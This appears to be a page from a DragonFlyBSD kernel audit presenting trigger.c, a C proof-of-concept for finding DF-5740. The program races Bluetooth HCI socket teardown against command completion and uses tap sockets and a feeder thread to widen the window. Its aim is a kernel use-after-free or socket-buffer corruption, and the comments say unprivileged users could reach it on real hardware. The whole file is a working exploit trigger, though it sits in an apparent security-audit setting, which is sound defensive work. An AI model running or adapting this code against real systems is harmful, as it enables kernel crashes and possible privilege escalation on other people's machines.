⬢ DragonFlyBSD Kernel Audit
DF-5740 / trigger.c
← back to finding ↓ download raw
/*
 * trigger.c -- userland trigger for DF-5740 (hci_drop vs socket teardown).
 *
 * Run as ROOT on the guest while the harness injector (CPU3) floods
 * Command_Complete events.  Root is needed because the fake unit has a
 * zeroed hci_cmds[] support bitmask, so hci_send()'s opcode check
 * (hci_socket.c:510-514) only passes for HCI_PRIVILEGED sockets; with a
 * real controller the support bits are populated by READ_LOCAL_COMMANDS
 * and unprivileged sockets can queue commands the same way.
 *
 * Strategy:
 *   1. Open NTAPS "tap" HCI sockets (promiscuous, full packet filter,
 *      big receive buffers).  Every completion the injector drains runs
 *      hci_mtap() over all of them (m_copym + sbappendaddr each) --
 *      this widens the window between IF_DEQUEUE(cmdwait) and
 *      hci_drop() on CPU3 to tens of microseconds.
 *   2. Loop: open sender socket -> raise SO_SNDBUF -> send CMDS
 *      HCI commands (each queues on cmdwait with M_SETCTX(m, so) and
 *      appends a "precious" record to so->so_snd) -> close(fd) ->
 *      hci_sdetach on CPU0 races CPU3's hci_output_cmd/hci_drop.
 *
 * usage: trigger [iterations=400] [ntaps=24] [cmds=40] [mode=c|s]
 *   mode c: close-race (default) -- the post-detach hci_drop UAF
 *   mode s: send-race          -- live-socket sbappendrecord vs
 *                                  sbdroprecord sockbuf corruption
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/sysctl.h>
#include <errno.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <netbt/bluetooth.h>
#include <netbt/hci.h>

#define UNIT_BDADDR	{ 0x11, 0x22, 0x33, 0x44, 0x55, 0x66 }

/* one minimal HCI command: type=CMD, opcode=0x0000, length=0 */
static const uint8_t cmd_pkt[] = { 0x01, 0x00, 0x00, 0x00 };

static void
die(const char *what)
{
	perror(what);
	exit(1);
}

static void
make_addr(struct sockaddr_bt *sa, const bdaddr_t *ba)
{
	memset(sa, 0, sizeof(*sa));
	sa->bt_len = sizeof(*sa);
	sa->bt_family = AF_BLUETOOTH;
	bdaddr_copy(&sa->bt_bdaddr, ba);
}

static int
open_hci(void)
{
	int s = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
	if (s < 0)
		die("socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI)");
	return s;
}

/*
 * feeder: open / send / close loops from a second thread.  All socket
 * ops still serialize on cpu0's netisr port (that is the design), but
 * this multiplies freed-socket-slot reuse traffic racing the CPU3
 * completion path, and provides victims whose so_snd records a stale
 * hci_drop() can steal or double-free.
 */
static void *
feeder(void *arg)
{
	struct sockaddr_bt sa_unit2;
	bdaddr_t unit_ba2 = UNIT_BDADDR;
	int it = 0;

	make_addr(&sa_unit2, &unit_ba2);
	for (it = 0;; ) {
		int s = open_hci(), k, snd = 512 * 1024;

		setsockopt(s, SOL_SOCKET, SO_SNDBUF, &snd, sizeof(snd));
		connect(s, (struct sockaddr *)&sa_unit2, sizeof(sa_unit2));
		for (k = 0; k < 8; k++)
			if (send(s, cmd_pkt, sizeof(cmd_pkt), 0) < 0)
				break;
		close(s);
		if ((++it % 256) == 0)
			usleep(200);
	}
	return NULL;
}

int
main(int argc, char **argv)
{
	int iters = argc > 1 ? atoi(argv[1]) : 400;
	int ntaps = argc > 2 ? atoi(argv[2]) : 24;
	int cmds  = argc > 3 ? atoi(argv[3]) : 40;
	char mode = (argc > 4 && argv[4][0] == 's') ? 's' : 'c';
	struct sockaddr_bt sa_any, sa_unit;
	struct hci_filter full;
	static char drainbuf[256 * 1024];
	bdaddr_t unit_ba = UNIT_BDADDR;
	int *taps, i, k, s, rcv, snd, it, done = 0, fail = 0, idir;
	ssize_t n;

	printf("[trigger] mode=%c iters=%d ntaps=%d cmds=%d\n",
	    mode, iters, ntaps, cmds);

	make_addr(&sa_any, BDADDR_ANY);
	make_addr(&sa_unit, &unit_ba);

	/* 1. taps: promiscuous, full filters, big rcv buffers */
	memset(&full, 0xff, sizeof(full));
	taps = calloc(ntaps, sizeof(int));
	for (i = 0; i < ntaps; i++) {
		taps[i] = open_hci();
		rcv = 512 * 1024;
		if (setsockopt(taps[i], SOL_SOCKET, SO_RCVBUF,
		    &rcv, sizeof(rcv)) < 0)
			die("tap SO_RCVBUF");
		if (bind(taps[i], (struct sockaddr *)&sa_any,
		    sizeof(sa_any)) < 0)
			die("tap bind(ANY)");
		if (setsockopt(taps[i], BTPROTO_HCI, SO_HCI_PKT_FILTER,
		    &full, sizeof(full)) < 0)
			die("tap SO_HCI_PKT_FILTER");
		if (setsockopt(taps[i], BTPROTO_HCI, SO_HCI_EVT_FILTER,
		    &full, sizeof(full)) < 0)
			die("tap SO_HCI_EVT_FILTER");
		/* direction cmsgs widen hci_mtap()'s per-tap work window
		 * (sbcreatecontrol per copy) -- widens the thief delay */
		idir = 1;
		if (setsockopt(taps[i], BTPROTO_HCI, SO_HCI_DIRECTION,
		    &idir, sizeof(idir)) < 0)
			die("tap SO_HCI_DIRECTION");
	}
	printf("[trigger] %d taps ready (promiscuous, full filters)\n", ntaps);

	if (getenv("DF5740_FEEDER")) {
		pthread_t ftd;

		printf("[trigger] feeder thread enabled (slot-reuse "
		    "multiplication)\n");
		if (pthread_create(&ftd, NULL, feeder, NULL) != 0)
			die("pthread_create");
	}

	/* 2. race loop */
	for (it = 0; it < iters; it++) {
		s = open_hci();

		snd = 512 * 1024;
		if (setsockopt(s, SOL_SOCKET, SO_SNDBUF, &snd, sizeof(snd)) < 0)
			die("SO_SNDBUF");
		if (connect(s, (struct sockaddr *)&sa_unit,
		    sizeof(sa_unit)) < 0)
			die("connect(unit)");
		for (k = 0; k < cmds; k++) {
			n = send(s, cmd_pkt, sizeof(cmd_pkt), 0);
			if (n < 0) {
				if (errno != EWOULDBLOCK)
					fail++;
				break;
			}
			/*
			 * drain the taps inside the send loop:
			 * sbappendaddr() has no flow control (that is a
			 * separate finding) and would otherwise drain the
			 * global mbuf pool and bury this race under
			 * allocation-failure noise
			 */
			if ((k % 8) == 7) {
				for (i = 0; i < ntaps; i++) {
					int nrec = 0;
					while (nrec++ < 16 &&
					    recv(taps[i], drainbuf,
					    sizeof(drainbuf), MSG_DONTWAIT) > 0)
						;
				}
			}
		}

		if (mode == 'c') {
			close(s);	/* hci_sdetach on CPU0 netisr port */
			done++;
		}
		/* mode 's': keep s open, next iteration opens another;
		 * the socket list grows -- cap it by closing every 64 */
		if (mode == 's' && (it % 64) == 63)
			close(s);

		for (i = 0; i < ntaps; i++) {
			int nrec = 0;
			while (nrec++ < 64 &&
			    recv(taps[i], drainbuf, sizeof(drainbuf),
			    MSG_DONTWAIT) > 0)
				;
		}

		if ((it % 25) == 0) {
			printf("[trigger] iter %d/%d (send failures: %d)\n",
			    it, iters, fail);
			fflush(stdout);
		}
	}

	if (mode == 's')
		printf("[trigger] send-race phase done -- quiescing 5s\n");
	printf("[trigger] COMPLETE: %d open/send/close cycles, "
	    "%d send failures\n", done ? done : iters, fail);
	return 0;
}